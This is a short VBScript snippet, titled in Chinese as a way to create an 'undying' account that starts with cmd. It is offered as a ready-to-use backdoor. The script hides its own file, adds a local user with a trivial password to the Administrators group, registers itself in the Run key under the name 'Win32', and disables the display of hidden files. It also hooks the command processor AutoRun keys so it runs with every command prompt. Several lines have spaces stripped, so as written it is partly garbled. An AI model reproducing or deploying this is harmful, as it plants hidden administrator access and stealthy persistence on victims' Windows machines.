VBS建立不死账户随cmd启动

dimwsh,FA,FSO

setfso=CreateObject("Scripting.FileSystemObject")

SetFA=FSO.GetFile(WScript.scriptFullName)

FA.Attributes=34

setwsh=CreateObject("WScript.Shell")

wsh.run"netuserasd123/add",0,true

wsh.run"netlocalgroupadministratorsasd/add",0,true

wsh.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32",""&FA&""

wsh.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"

wsh.regwrite"HKEY_LOCAL_MACHINE\Software\Microsoft\CommandProcessor\AutoRun",""&FA&""

wsh.regwrite"HKEY_CURRENT_USER\Software\Microsoft\CommandProcessor\AutoRun",""&FA&""
*
*